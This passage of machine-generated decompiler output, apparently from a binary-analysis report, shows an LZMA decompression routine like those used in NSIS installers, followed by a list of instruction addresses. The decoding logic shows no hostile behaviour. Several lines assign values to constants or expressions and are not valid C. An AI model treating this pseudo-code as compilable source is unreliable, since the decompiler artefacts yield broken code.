                                                    									L79:
                                                    									 *(__ebp - 0x14) = __edx;
                                                    									L80:
                                                    									 *(__ebp - 0x88) = 2;
                                                    									goto L1;
                                                    								}
                                                    								if(__ebx >= 0x100) {
                                                    									goto L53;
                                                    								}
                                                    								goto L40;
                                                    							} else {
                                                    								L36:
                                                    								if( *(__ebp - 0x6c) == 0) {
                                                    									 *(__ebp - 0x88) = 0xd;
                                                    									L170:
                                                    									_t568 = 0x22;
                                                    									memcpy( *(_t614 - 0x90), _t614 - 0x88, _t568 << 2);
                                                    									_t535 = 0;
                                                    									L172:
                                                    									return _t535;
                                                    								}
                                                    								__ecx =  *(__ebp - 0x70);
                                                    								__eax =  *(__ebp - 0xc);
                                                    								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    								_t121 = __ebp - 0x70;
                                                    								 *_t121 =  *(__ebp - 0x70) + 1;
                                                    								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    								goto L38;
                                                    							}
                                                    						}
                                                    					}
                                                    					L1:
                                                    					_t534 =  *(_t614 - 0x88);
                                                    					if(_t534 > 0x1c) {
                                                    						L171:
                                                    						_t535 = _t534 | 0xffffffff;
                                                    						goto L172;
                                                    					}
                                                    					switch( *((intOrPtr*)(_t534 * 4 +  &M00407602))) {
                                                    						case 0:
                                                    							if( *(_t614 - 0x6c) == 0) {
                                                    								goto L170;
                                                    							}
                                                    							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
                                                    							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
                                                    							_t534 =  *( *(_t614 - 0x70));
                                                    							if(_t534 > 0xe1) {
                                                    								goto L171;
                                                    							}
                                                    							_t538 = _t534 & 0x000000ff;
                                                    							_push(0x2d);
                                                    							asm("cdq");
                                                    							_pop(_t570);
                                                    							_push(9);
                                                    							_pop(_t571);
                                                    							_t610 = _t538 / _t570;
                                                    							_t540 = _t538 % _t570 & 0x000000ff;
                                                    							asm("cdq");
                                                    							_t605 = _t540 % _t571 & 0x000000ff;
                                                    							 *(_t614 - 0x3c) = _t605;
                                                    							 *(_t614 - 0x1c) = (1 << _t610) - 1;
                                                    							 *((intOrPtr*)(_t614 - 0x18)) = (1 << _t540 / _t571) - 1;
                                                    							_t613 = (0x300 << _t605 + _t610) + 0x736;
                                                    							if(0x600 ==  *((intOrPtr*)(_t614 - 0x78))) {
                                                    								L10:
                                                    								if(_t613 == 0) {
                                                    									L12:
                                                    									 *(_t614 - 0x48) =  *(_t614 - 0x48) & 0x00000000;
                                                    									 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
                                                    									goto L15;
                                                    								} else {
                                                    									goto L11;
                                                    								}
                                                    								do {
                                                    									L11:
                                                    									_t613 = _t613 - 1;
                                                    									 *((short*)( *(_t614 - 4) + _t613 * 2)) = 0x400;
                                                    								} while (_t613 != 0);
                                                    								goto L12;
                                                    							}
                                                    							if( *(_t614 - 4) != 0) {
                                                    								GlobalFree( *(_t614 - 4));
                                                    							}
                                                    							_t534 = GlobalAlloc(0x40, 0x600); // executed
                                                    							 *(_t614 - 4) = _t534;
                                                    							if(_t534 == 0) {
                                                    								goto L171;
                                                    							} else {
                                                    								 *((intOrPtr*)(_t614 - 0x78)) = 0x600;
                                                    								goto L10;
                                                    							}
                                                    						case 1:
                                                    							L13:
                                                    							__eflags =  *(_t614 - 0x6c);
                                                    							if( *(_t614 - 0x6c) == 0) {
                                                    								 *(_t614 - 0x88) = 1;
                                                    								goto L170;
                                                    							}
                                                    							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
                                                    							 *(_t614 - 0x40) =  *(_t614 - 0x40) | ( *( *(_t614 - 0x70)) & 0x000000ff) <<  *(_t614 - 0x48) << 0x00000003;
                                                    							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
                                                    							_t45 = _t614 - 0x48;
                                                    							 *_t45 =  *(_t614 - 0x48) + 1;
                                                    							__eflags =  *_t45;
                                                    							L15:
                                                    							if( *(_t614 - 0x48) < 4) {
                                                    								goto L13;
                                                    							}
                                                    							_t546 =  *(_t614 - 0x40);
                                                    							if(_t546 ==  *(_t614 - 0x74)) {
                                                    								L20:
                                                    								 *(_t614 - 0x48) = 5;
                                                    								 *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) =  *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) & 0x00000000;
                                                    								goto L23;
                                                    							}
                                                    							 *(_t614 - 0x74) = _t546;
                                                    							if( *(_t614 - 8) != 0) {
                                                    								GlobalFree( *(_t614 - 8));
                                                    							}
                                                    							_t534 = GlobalAlloc(0x40,  *(_t614 - 0x40)); // executed
                                                    							 *(_t614 - 8) = _t534;
                                                    							if(_t534 == 0) {
                                                    								goto L171;
                                                    							} else {
                                                    								goto L20;
                                                    							}
                                                    						case 2:
                                                    							L24:
                                                    							_t553 =  *(_t614 - 0x60) &  *(_t614 - 0x1c);
                                                    							 *(_t614 - 0x84) = 6;
                                                    							 *(_t614 - 0x4c) = _t553;
                                                    							_t607 =  *(_t614 - 4) + (( *(_t614 - 0x38) << 4) + _t553) * 2;
                                                    							goto L132;
                                                    						case 3:
                                                    							L21:
                                                    							__eflags =  *(_t614 - 0x6c);
                                                    							if( *(_t614 - 0x6c) == 0) {
                                                    								 *(_t614 - 0x88) = 3;
                                                    								goto L170;
                                                    							}
                                                    							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
                                                    							_t67 = _t614 - 0x70;
                                                    							 *_t67 =  &(( *(_t614 - 0x70))[1]);
                                                    							__eflags =  *_t67;
                                                    							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
                                                    							L23:
                                                    							 *(_t614 - 0x48) =  *(_t614 - 0x48) - 1;
                                                    							if( *(_t614 - 0x48) != 0) {
                                                    								goto L21;
                                                    							}
                                                    							goto L24;
                                                    						case 4:
                                                    							goto L133;
                                                    						case 5:
                                                    							goto L137;
                                                    						case 6:
                                                    							goto L0;
                                                    						case 7:
                                                    							__eflags =  *(__ebp - 0x40) - 1;
                                                    							if( *(__ebp - 0x40) != 1) {
                                                    								__eax =  *(__ebp - 0x24);
                                                    								 *(__ebp - 0x80) = 0x16;
                                                    								 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                    								__eax =  *(__ebp - 0x28);
                                                    								 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                    								__eax =  *(__ebp - 0x2c);
                                                    								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                    								__eax = 0;
                                                    								__eflags =  *(__ebp - 0x38) - 7;
                                                    								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                    								__al = __al & 0x000000fd;
                                                    								__eax = (__eflags >= 0) - 1 + 0xa;
                                                    								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
                                                    								__eax =  *(__ebp - 4);
                                                    								__eax =  *(__ebp - 4) + 0x664;
                                                    								__eflags = __eax;
                                                    								 *(__ebp - 0x58) = __eax;
                                                    								goto L68;
                                                    							}
                                                    							__eax =  *(__ebp - 4);
                                                    							__ecx =  *(__ebp - 0x38);
                                                    							 *(__ebp - 0x84) = 8;
                                                    							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
                                                    							goto L132;
                                                    						case 8:
                                                    							__eflags =  *(__ebp - 0x40);
                                                    							if( *(__ebp - 0x40) != 0) {
                                                    								__eax =  *(__ebp - 4);
                                                    								__ecx =  *(__ebp - 0x38);
                                                    								 *(__ebp - 0x84) = 0xa;
                                                    								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
                                                    							} else {
                                                    								__eax =  *(__ebp - 0x38);
                                                    								__ecx =  *(__ebp - 4);
                                                    								__eax =  *(__ebp - 0x38) + 0xf;
                                                    								 *(__ebp - 0x84) = 9;
                                                    								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
                                                    								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
                                                    							}
                                                    							goto L132;
                                                    						case 9:
                                                    							__eflags =  *(__ebp - 0x40);
                                                    							if( *(__ebp - 0x40) != 0) {
                                                    								goto L89;
                                                    							}
                                                    							__eflags =  *(__ebp - 0x60);
                                                    							if( *(__ebp - 0x60) == 0) {
                                                    								goto L171;
                                                    							}
                                                    							__eax = 0;
                                                    							__eflags =  *(__ebp - 0x38) - 7;
                                                    							_t258 =  *(__ebp - 0x38) - 7 >= 0;
                                                    							__eflags = _t258;
                                                    							0 | _t258 = _t258 + _t258 + 9;
                                                    							 *(__ebp - 0x38) = _t258 + _t258 + 9;
                                                    							goto L75;
                                                    						case 0xa:
                                                    							__eflags =  *(__ebp - 0x40);
                                                    							if( *(__ebp - 0x40) != 0) {
                                                    								__eax =  *(__ebp - 4);
                                                    								__ecx =  *(__ebp - 0x38);
                                                    								 *(__ebp - 0x84) = 0xb;
                                                    								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
                                                    								goto L132;
                                                    							}
                                                    							__eax =  *(__ebp - 0x28);
                                                    							goto L88;
                                                    						case 0xb:
                                                    							__eflags =  *(__ebp - 0x40);
                                                    							if( *(__ebp - 0x40) != 0) {
                                                    								__ecx =  *(__ebp - 0x24);
                                                    								__eax =  *(__ebp - 0x20);
                                                    								 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                    							} else {
                                                    								__eax =  *(__ebp - 0x24);
                                                    							}
                                                    							__ecx =  *(__ebp - 0x28);
                                                    							 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                    							L88:
                                                    							__ecx =  *(__ebp - 0x2c);
                                                    							 *(__ebp - 0x2c) = __eax;
                                                    							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                    							L89:
                                                    							__eax =  *(__ebp - 4);
                                                    							 *(__ebp - 0x80) = 0x15;
                                                    							__eax =  *(__ebp - 4) + 0xa68;
                                                    							 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
                                                    							goto L68;
                                                    						case 0xc:
                                                    							L99:
                                                    							__eflags =  *(__ebp - 0x6c);
                                                    							if( *(__ebp - 0x6c) == 0) {
                                                    								 *(__ebp - 0x88) = 0xc;
                                                    								goto L170;
                                                    							}
                                                    							__ecx =  *(__ebp - 0x70);
                                                    							__eax =  *(__ebp - 0xc);
                                                    							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    							_t334 = __ebp - 0x70;
                                                    							 *_t334 =  *(__ebp - 0x70) + 1;
                                                    							__eflags =  *_t334;
                                                    							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    							__eax =  *(__ebp - 0x2c);
                                                    							goto L101;
                                                    						case 0xd:
                                                    							goto L36;
                                                    						case 0xe:
                                                    							goto L45;
                                                    						case 0xf:
                                                    							goto L57;
                                                    						case 0x10:
                                                    							L109:
                                                    							__eflags =  *(__ebp - 0x6c);
                                                    							if( *(__ebp - 0x6c) == 0) {
                                                    								 *(__ebp - 0x88) = 0x10;
                                                    								goto L170;
                                                    							}
                                                    							__ecx =  *(__ebp - 0x70);
                                                    							__eax =  *(__ebp - 0xc);
                                                    							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    							_t365 = __ebp - 0x70;
                                                    							 *_t365 =  *(__ebp - 0x70) + 1;
                                                    							__eflags =  *_t365;
                                                    							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    							goto L111;
                                                    						case 0x11:
                                                    							L68:
                                                    							__esi =  *(__ebp - 0x58);
                                                    							 *(__ebp - 0x84) = 0x12;
                                                    							goto L132;
                                                    						case 0x12:
                                                    							__eflags =  *(__ebp - 0x40);
                                                    							if( *(__ebp - 0x40) != 0) {
                                                    								__eax =  *(__ebp - 0x58);
                                                    								 *(__ebp - 0x84) = 0x13;
                                                    								__esi =  *(__ebp - 0x58) + 2;
                                                    								goto L132;
                                                    							}
                                                    							__eax =  *(__ebp - 0x4c);
                                                    							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
                                                    							__ecx =  *(__ebp - 0x58);
                                                    							__eax =  *(__ebp - 0x4c) << 4;
                                                    							__eflags = __eax;
                                                    							__eax =  *(__ebp - 0x58) + __eax + 4;
                                                    							goto L130;
                                                    						case 0x13:
                                                    							__eflags =  *(__ebp - 0x40);
                                                    							if( *(__ebp - 0x40) != 0) {
                                                    								_t469 = __ebp - 0x58;
                                                    								 *_t469 =  *(__ebp - 0x58) + 0x204;
                                                    								__eflags =  *_t469;
                                                    								 *(__ebp - 0x30) = 0x10;
                                                    								 *(__ebp - 0x40) = 8;
                                                    								L144:
                                                    								 *(__ebp - 0x7c) = 0x14;
                                                    								goto L145;
                                                    							}
                                                    							__eax =  *(__ebp - 0x4c);
                                                    							__ecx =  *(__ebp - 0x58);
                                                    							__eax =  *(__ebp - 0x4c) << 4;
                                                    							 *(__ebp - 0x30) = 8;
                                                    							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
                                                    							L130:
                                                    							 *(__ebp - 0x58) = __eax;
                                                    							 *(__ebp - 0x40) = 3;
                                                    							goto L144;
                                                    						case 0x14:
                                                    							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
                                                    							__eax =  *(__ebp - 0x80);
                                                    							goto L140;
                                                    						case 0x15:
                                                    							__eax = 0;
                                                    							__eflags =  *(__ebp - 0x38) - 7;
                                                    							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                    							__al = __al & 0x000000fd;
                                                    							__eax = (__eflags >= 0) - 1 + 0xb;
                                                    							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
                                                    							goto L120;
                                                    						case 0x16:
                                                    							__eax =  *(__ebp - 0x30);
                                                    							__eflags = __eax - 4;
                                                    							if(__eax >= 4) {
                                                    								_push(3);
                                                    								_pop(__eax);
                                                    							}
                                                    							__ecx =  *(__ebp - 4);
                                                    							 *(__ebp - 0x40) = 6;
                                                    							__eax = __eax << 7;
                                                    							 *(__ebp - 0x7c) = 0x19;
                                                    							 *(__ebp - 0x58) = __eax;
                                                    							goto L145;
                                                    						case 0x17:
                                                    							L145:
                                                    							__eax =  *(__ebp - 0x40);
                                                    							 *(__ebp - 0x50) = 1;
                                                    							 *(__ebp - 0x48) =  *(__ebp - 0x40);
                                                    							goto L149;
                                                    						case 0x18:
                                                    							L146:
                                                    							__eflags =  *(__ebp - 0x6c);
                                                    							if( *(__ebp - 0x6c) == 0) {
                                                    								 *(__ebp - 0x88) = 0x18;
                                                    								goto L170;
                                                    							}
                                                    							__ecx =  *(__ebp - 0x70);
                                                    							__eax =  *(__ebp - 0xc);
                                                    							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    							_t484 = __ebp - 0x70;
                                                    							 *_t484 =  *(__ebp - 0x70) + 1;
                                                    							__eflags =  *_t484;
                                                    							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    							L148:
                                                    							_t487 = __ebp - 0x48;
                                                    							 *_t487 =  *(__ebp - 0x48) - 1;
                                                    							__eflags =  *_t487;
                                                    							L149:
                                                    							__eflags =  *(__ebp - 0x48);
                                                    							if( *(__ebp - 0x48) <= 0) {
                                                    								__ecx =  *(__ebp - 0x40);
                                                    								__ebx =  *(__ebp - 0x50);
                                                    								0 = 1;
                                                    								__eax = 1 << __cl;
                                                    								__ebx =  *(__ebp - 0x50) - (1 << __cl);
                                                    								__eax =  *(__ebp - 0x7c);
                                                    								 *(__ebp - 0x44) = __ebx;
                                                    								goto L140;
                                                    							}
                                                    							__eax =  *(__ebp - 0x50);
                                                    							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                    							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                    							__eax =  *(__ebp - 0x58);
                                                    							__esi = __edx + __eax;
                                                    							 *(__ebp - 0x54) = __esi;
                                                    							__ax =  *__esi;
                                                    							__edi = __ax & 0x0000ffff;
                                                    							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                    							__eflags =  *(__ebp - 0xc) - __ecx;
                                                    							if( *(__ebp - 0xc) >= __ecx) {
                                                    								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                    								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                    								__cx = __ax;
                                                    								__cx = __ax >> 5;
                                                    								__eax = __eax - __ecx;
                                                    								__edx = __edx + 1;
                                                    								__eflags = __edx;
                                                    								 *__esi = __ax;
                                                    								 *(__ebp - 0x50) = __edx;
                                                    							} else {
                                                    								 *(__ebp - 0x10) = __ecx;
                                                    								0x800 = 0x800 - __edi;
                                                    								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                    								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                                    								 *__esi = __cx;
                                                    							}
                                                    							__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                    							if( *(__ebp - 0x10) >= 0x1000000) {
                                                    								goto L148;
                                                    							} else {
                                                    								goto L146;
                                                    							}
                                                    						case 0x19:
                                                    							__eflags = __ebx - 4;
                                                    							if(__ebx < 4) {
                                                    								 *(__ebp - 0x2c) = __ebx;
                                                    								L119:
                                                    								_t393 = __ebp - 0x2c;
                                                    								 *_t393 =  *(__ebp - 0x2c) + 1;
                                                    								__eflags =  *_t393;
                                                    								L120:
                                                    								__eax =  *(__ebp - 0x2c);
                                                    								__eflags = __eax;
                                                    								if(__eax == 0) {
                                                    									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
                                                    									goto L170;
                                                    								}
                                                    								__eflags = __eax -  *(__ebp - 0x60);
                                                    								if(__eax >  *(__ebp - 0x60)) {
                                                    									goto L171;
                                                    								}
                                                    								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
                                                    								__eax =  *(__ebp - 0x30);
                                                    								_t400 = __ebp - 0x60;
                                                    								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
                                                    								__eflags =  *_t400;
                                                    								goto L123;
                                                    							}
                                                    							__ecx = __ebx;
                                                    							__eax = __ebx;
                                                    							__ecx = __ebx >> 1;
                                                    							__eax = __ebx & 0x00000001;
                                                    							__ecx = (__ebx >> 1) - 1;
                                                    							__al = __al | 0x00000002;
                                                    							__eax = (__ebx & 0x00000001) << __cl;
                                                    							__eflags = __ebx - 0xe;
                                                    							 *(__ebp - 0x2c) = __eax;
                                                    							if(__ebx >= 0xe) {
                                                    								__ebx = 0;
                                                    								 *(__ebp - 0x48) = __ecx;
                                                    								L102:
                                                    								__eflags =  *(__ebp - 0x48);
                                                    								if( *(__ebp - 0x48) <= 0) {
                                                    									__eax = __eax + __ebx;
                                                    									 *(__ebp - 0x40) = 4;
                                                    									 *(__ebp - 0x2c) = __eax;
                                                    									__eax =  *(__ebp - 4);
                                                    									__eax =  *(__ebp - 4) + 0x644;
                                                    									__eflags = __eax;
                                                    									L108:
                                                    									__ebx = 0;
                                                    									 *(__ebp - 0x58) = __eax;
                                                    									 *(__ebp - 0x50) = 1;
                                                    									 *(__ebp - 0x44) = 0;
                                                    									 *(__ebp - 0x48) = 0;
                                                    									L112:
                                                    									__eax =  *(__ebp - 0x40);
                                                    									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                    									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
                                                    										_t391 = __ebp - 0x2c;
                                                    										 *_t391 =  *(__ebp - 0x2c) + __ebx;
                                                    										__eflags =  *_t391;
                                                    										goto L119;
                                                    									}
                                                    									__eax =  *(__ebp - 0x50);
                                                    									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                    									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                    									__eax =  *(__ebp - 0x58);
                                                    									__esi = __edi + __eax;
                                                    									 *(__ebp - 0x54) = __esi;
                                                    									__ax =  *__esi;
                                                    									__ecx = __ax & 0x0000ffff;
                                                    									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
                                                    									__eflags =  *(__ebp - 0xc) - __edx;
                                                    									if( *(__ebp - 0xc) >= __edx) {
                                                    										__ecx = 0;
                                                    										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
                                                    										__ecx = 1;
                                                    										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
                                                    										__ebx = 1;
                                                    										__ecx =  *(__ebp - 0x48);
                                                    										__ebx = 1 << __cl;
                                                    										__ecx = 1 << __cl;
                                                    										__ebx =  *(__ebp - 0x44);
                                                    										__ebx =  *(__ebp - 0x44) | __ecx;
                                                    										__cx = __ax;
                                                    										__cx = __ax >> 5;
                                                    										__eax = __eax - __ecx;
                                                    										__edi = __edi + 1;
                                                    										__eflags = __edi;
                                                    										 *(__ebp - 0x44) = __ebx;
                                                    										 *__esi = __ax;
                                                    										 *(__ebp - 0x50) = __edi;
                                                    									} else {
                                                    										 *(__ebp - 0x10) = __edx;
                                                    										0x800 = 0x800 - __ecx;
                                                    										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
                                                    										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                                    										 *__esi = __dx;
                                                    									}
                                                    									__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                    									if( *(__ebp - 0x10) >= 0x1000000) {
                                                    										L111:
                                                    										_t368 = __ebp - 0x48;
                                                    										 *_t368 =  *(__ebp - 0x48) + 1;
                                                    										__eflags =  *_t368;
                                                    										goto L112;
                                                    									} else {
                                                    										goto L109;
                                                    									}
                                                    								}
                                                    								__ecx =  *(__ebp - 0xc);
                                                    								__ebx = __ebx + __ebx;
                                                    								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
                                                    								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                                    								 *(__ebp - 0x44) = __ebx;
                                                    								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
                                                    									__ecx =  *(__ebp - 0x10);
                                                    									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                                    									__ebx = __ebx | 0x00000001;
                                                    									__eflags = __ebx;
                                                    									 *(__ebp - 0x44) = __ebx;
                                                    								}
                                                    								__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                    								if( *(__ebp - 0x10) >= 0x1000000) {
                                                    									L101:
                                                    									_t338 = __ebp - 0x48;
                                                    									 *_t338 =  *(__ebp - 0x48) - 1;
                                                    									__eflags =  *_t338;
                                                    									goto L102;
                                                    								} else {
                                                    									goto L99;
                                                    								}
                                                    							}
                                                    							__edx =  *(__ebp - 4);
                                                    							__eax = __eax - __ebx;
                                                    							 *(__ebp - 0x40) = __ecx;
                                                    							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
                                                    							goto L108;
                                                    						case 0x1a:
                                                    							goto L55;
                                                    						case 0x1b:
                                                    							L75:
                                                    							__eflags =  *(__ebp - 0x64);
                                                    							if( *(__ebp - 0x64) == 0) {
                                                    								 *(__ebp - 0x88) = 0x1b;
                                                    								goto L170;
                                                    							}
                                                    							__eax =  *(__ebp - 0x14);
                                                    							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                    							__eflags = __eax -  *(__ebp - 0x74);
                                                    							if(__eax >=  *(__ebp - 0x74)) {
                                                    								__eax = __eax +  *(__ebp - 0x74);
                                                    								__eflags = __eax;
                                                    							}
                                                    							__edx =  *(__ebp - 8);
                                                    							__cl =  *(__eax + __edx);
                                                    							__eax =  *(__ebp - 0x14);
                                                    							 *(__ebp - 0x5c) = __cl;
                                                    							 *(__eax + __edx) = __cl;
                                                    							__eax = __eax + 1;
                                                    							__edx = 0;
                                                    							_t274 = __eax %  *(__ebp - 0x74);
                                                    							__eax = __eax /  *(__ebp - 0x74);
                                                    							__edx = _t274;
                                                    							__eax =  *(__ebp - 0x68);
                                                    							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                                    							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                    							_t283 = __ebp - 0x64;
                                                    							 *_t283 =  *(__ebp - 0x64) - 1;
                                                    							__eflags =  *_t283;
                                                    							 *( *(__ebp - 0x68)) = __cl;
                                                    							goto L79;
                                                    						case 0x1c:
                                                    							while(1) {
                                                    								L123:
                                                    								__eflags =  *(__ebp - 0x64);
                                                    								if( *(__ebp - 0x64) == 0) {
                                                    									break;
                                                    								}
                                                    								__eax =  *(__ebp - 0x14);
                                                    								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                    								__eflags = __eax -  *(__ebp - 0x74);
                                                    								if(__eax >=  *(__ebp - 0x74)) {
                                                    									__eax = __eax +  *(__ebp - 0x74);
                                                    									__eflags = __eax;
                                                    								}
                                                    								__edx =  *(__ebp - 8);
                                                    								__cl =  *(__eax + __edx);
                                                    								__eax =  *(__ebp - 0x14);
                                                    								 *(__ebp - 0x5c) = __cl;
                                                    								 *(__eax + __edx) = __cl;
                                                    								__eax = __eax + 1;
                                                    								__edx = 0;
                                                    								_t414 = __eax %  *(__ebp - 0x74);
                                                    								__eax = __eax /  *(__ebp - 0x74);
                                                    								__edx = _t414;
                                                    								__eax =  *(__ebp - 0x68);
                                                    								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                    								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                                    								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
                                                    								__eflags =  *(__ebp - 0x30);
                                                    								 *( *(__ebp - 0x68)) = __cl;
                                                    								 *(__ebp - 0x14) = __edx;
                                                    								if( *(__ebp - 0x30) > 0) {
                                                    									continue;
                                                    								} else {
                                                    									goto L80;
                                                    								}
                                                    							}
                                                    							 *(__ebp - 0x88) = 0x1c;
                                                    							goto L170;
                                                    					}
                                                    				}
                                                    			}













                                                    0x00000000
                                                    0x00406d5f
                                                    0x00406d5f
                                                    0x00406d64
                                                    0x00406ddb
                                                    0x00406de2
                                                    0x00406dec
                                                    0x004073cb
                                                    0x004073cb
                                                    0x004073ce
                                                    0x004073ce
                                                    0x004073d4
                                                    0x004073da
                                                    0x004073e0
                                                    0x004073fa
                                                    0x004073fd
                                                    0x00407403
                                                    0x0040740e
                                                    0x00407410
                                                    0x004073e2
                                                    0x004073e2
                                                    0x004073f1
                                                    0x004073f5
                                                    0x004073f5
                                                    0x0040741a
                                                    0x00407441
                                                    0x00407441
                                                    0x00407447
                                                    0x00407447
                                                    0x00000000
                                                    0x0040741c
                                                    0x0040741c
                                                    0x00407420
                                                    0x004075cf
                                                    0x00000000
                                                    0x004075cf
                                                    0x0040742c
                                                    0x00407433
                                                    0x0040743b
                                                    0x0040743e
                                                    0x00000000
                                                    0x0040743e
                                                    0x00406d66
                                                    0x00406d66
                                                    0x00406d6a
                                                    0x00406d72
                                                    0x00406d75
                                                    0x00406d77
                                                    0x00406d7a
                                                    0x00406d7c
                                                    0x00406d81
                                                    0x00406d84
                                                    0x00406d8b
                                                    0x00406d92
                                                    0x00406d95
                                                    0x00406da0
                                                    0x00406da8
                                                    0x00406da8
                                                    0x00406da2
                                                    0x00406da2
                                                    0x00406da2
                                                    0x00406d97
                                                    0x00406d97
                                                    0x00406d97
                                                    0x00406daf
                                                    0x00406dcd
                                                    0x00406dcf
                                                    0x00406fa2
                                                    0x00406fa2
                                                    0x00406fa5
                                                    0x00406fa8
                                                    0x00406fab
                                                    0x00406fae
                                                    0x00406fb1
                                                    0x00406fb4
                                                    0x00406fb7
                                                    0x00406fba
                                                    0x00406fc0
                                                    0x00406fd8
                                                    0x00406fdb
                                                    0x00406fde
                                                    0x00406fe1
                                                    0x00406fe1
                                                    0x00406fe4
                                                    0x00406fea
                                                    0x00406fc2
                                                    0x00406fc2
                                                    0x00406fca
                                                    0x00406fcf
                                                    0x00406fd1
                                                    0x00406fd3
                                                    0x00406fd3
                                                    0x00406ff4
                                                    0x00406ff7
                                                    0x00406f9a
                                                    0x00406fa0
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00406ff9
                                                    0x00406f75
                                                    0x00406f79
                                                    0x00407581
                                                    0x00000000
                                                    0x00407581
